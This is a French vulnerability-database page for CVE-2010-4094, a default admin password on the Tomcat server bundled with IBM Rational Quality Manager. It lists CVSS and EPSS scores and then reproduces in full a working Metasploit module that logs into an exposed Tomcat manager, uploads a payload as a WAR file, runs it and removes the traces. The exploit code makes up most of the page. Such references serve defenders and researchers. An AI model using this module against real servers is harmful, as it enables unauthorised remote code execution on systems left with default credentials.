CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
The Tomcat server in IBM Rational Quality Manager and Rational Test Lab Manager has a default password for the ADMIN account, which makes it easier for remote attackers to execute arbitrary code by leveraging access to the manager role. NOTE: this might overlap CVE-2009-3548.
Category : Credentials Management Errors Weaknesses in this category are related to the management of credentials.
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V2
5
AV:N/AC:L/Au:N/C:N/I:P/A:N
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
7.78%
–
–
2022-04-03
–
–
7.78%
–
–
2023-03-12
–
–
–
1.13%
–
2023-04-02
–
–
–
1.13%
–
2024-02-11
–
–
–
1.13%
–
2024-06-02
–
–
–
1.13%
–
2024-12-22
–
–
–
1.22%
–
2025-01-19
–
–
–
1.22%
–
2025-03-18
–
–
–
–
85.82%
2025-03-18
–
–
–
–
85.82,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2010-12-13 23h00 +00:00 Auteur : Metasploit EDB Vérifié : Yes
##
# $Id: tomcat_mgr_deploy.rb 11330 2010-12-14 17:26:44Z egypt $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
HttpFingerprint = { :pattern => [ /Apache.*(Coyote|Tomcat)/ ] }
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Tomcat Manager Application Deployer Authenticated Code Execution',
'Description' => %q{
This module can be used to execute a payload on Apache Tomcat servers that
have an exposed "manager" application. The payload is uploaded as a WAR archive
containing a jsp application using a PUT request.
The manager application can also be abused using /manager/html/upload, but that
method is not implemented in this module.
},
'Author' => [ 'jduck' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 11330 $',
'References' =>
[
# There is no single vulnerability associated with deployment functionality.
# Instead, the focus has been on insecure/blank/hardcoded default passwords.
# The following references refer to HP Operations Manager
[ 'CVE', '2009-3843' ],
[ 'OSVDB', '60317' ],
[ 'CVE', '2009-4189' ],
[ 'OSVDB', '60670' ],
# HP Operations Dashboard
[ 'CVE', '2009-4188' ],
# IBM Cognos Express Default user/pass
[ 'BID', '38084' ],
[ 'CVE', '2010-0557' ],
[ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21419179' ],
# IBM Rational Quality Manager and Test Lab Manager
[ 'CVE', '2010-4094' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-214/' ],
# 'admin' password is blank in default Windows installer
[ 'CVE', '2009-3548' ],
[ 'OSVDB', '60176' ],
[ 'BID', '36954' ],
# tomcat docs
[ 'URL', 'http://tomcat.apache.org/tomcat-5.5-doc/manager-howto.html' ]
],
'Platform' => [ 'java', 'win', 'linux' ], # others?
'Targets' =>
[
#
# detect via /manager/serverinfo
#
[ 'Automatic', { } ],
[ 'Java Universal',
{
'Arch' => ARCH_JAVA,
'Platform' => 'java'
},
],
#
# Platform specific targets only
#
[ 'Windows Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
},
],
[ 'Linux x86',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
},
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Nov 09 2009'))
register_options(
[
OptBool.new('VERBOSE', [ false, 'Enable verbose output', false ]),
OptString.new('USERNAME', [ false, 'The username to authenticate as' ]),
OptString.new('PASSWORD', [ false, 'The password for the specified username' ]),
# /cognos_express/manager/ for Cognos Express (19300)
OptString.new('PATH', [ true, "The URI path of the manager app (/deploy and /undeploy will be used)", '/manager'])
], self.class)
end
def auto_target
print_status("Attempting to automatically select a target...")
res = query_serverinfo()
return nil if not res
plat = detect_platform(res.body)
arch = detect_arch(res.body)
# No arch or platform found?
if (not arch or not plat)
return nil
end
# see if we have a match
targets.each { |t|
if (t['Platform'] == plat) and (t['Arch'] == arch)
return t
end
}
# no matching target found
return nil
end
def exploit
datastore['BasicAuthUser'] = datastore['USERNAME']
datastore['BasicAuthPass'] = datastore['PASSWORD']
mytarget = target
if (target.name =~ /Automatic/)
mytarget = auto_target
if (not mytarget)
raise RuntimeError, "Unable to automatically select a target"
end
print_status("Automatically selected target \"#{mytarget.name}\"")
else
print_status("Using manually select target \"#{mytarget.name}\"")
end
# We must regenerate the payload in case our auto-magic changed something.
p = exploit_regenerate_payload(mytarget.platform, mytarget.arch)
# Generate the WAR containing the EXE containing the payload
jsp_name = rand_text_alphanumeric(4+rand(32-4))
app_base = rand_text_alphanumeric(4+rand(32-4))
# Generate the WAR containing the payload
war = p.encoded_war({
:app_name => app_base,
:jsp_name => jsp_name,
:arch => mytarget.arch,
:platform => mytarget.platform
}).to_s
query_str = "?path=/" + app_base
#
# UPLOAD
#
path_tmp = datastore['PATH'] + "/deploy" + query_str
print_status("Uploading #{war.length} bytes as #{app_base}.war ...")
res = send_request_cgi({
'uri' => path_tmp,
'method' => 'PUT',
'ctype' => 'application/octet-stream',
'data' => war,
}, 20)
if (! res)
raise RuntimeError, "Upload failed on #{path_tmp} [No Response]"
end
if (res.code < 200 or res.code >= 300)
case res.code
when 401
print_error("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")
end
raise RuntimeError, "Upload failed on #{path_tmp} [#{res.code} #{res.message}]"
end
#
# EXECUTE
#
jsp_path = '/' + app_base + '/' + jsp_name + '.jsp'
print_status("Executing #{jsp_path}...")
res = send_request_cgi({
'uri' => jsp_path,
'method' => 'GET'
}, 20)
if (! res)
print_error("Execution failed on #{app_base} [No Response]")
elsif (res.code < 200 or res.code >= 300)
print_error("Execution failed on #{app_base} [#{res.code} #{res.message}]")
print_status(res.body) if datastore['VERBOSE']
end
#
# DELETE
#
path_tmp = datastore['PATH'] + "/undeploy" + query_str
print_status("Undeploying #{app_base} ...")
res = send_request_cgi({
'uri' => path_tmp,
'method' => 'GET'
}, 20)
if (! res)
print_error("WARNING: Undeployment failed on #{path} [No Response]")
elsif (res.code < 200 or res.code >= 300)
print_error("Deletion failed on #{path} [#{res.code} #{res.message}]")
end
handler
end
def query_serverinfo()
path = datastore['PATH'] + '/serverinfo'
res = send_request_raw(
{
'uri' => path
}, 10)
if (not res) or (res.code != 200)
print_error("Failed: Error requesting #{path}")
return nil
end
print_status(res.body) if datastore['VERBOSE']
return res
end
def detect_platform(body = nil)
if not body
res = query_serverinfo()
return nil if not res
body = res.body
end
body.each_line { |ln|
ln.chomp!
case ln
when /OS Name: /
os = ln.split(':')[1]
case os
when /Windows/
return 'win'
when /Linux/
return 'linux'
end
end
}
end
def detect_arch(body)
body.each_line { |ln|
ln.chomp!
case ln
when /OS Architecture: /
ar = ln.split(':')[1].strip
case ar
when 'x86', 'i386', 'i686'
return ARCH_X86
when 'x86_64', 'amd64'
return ARCH_X86
end
end
}
end
end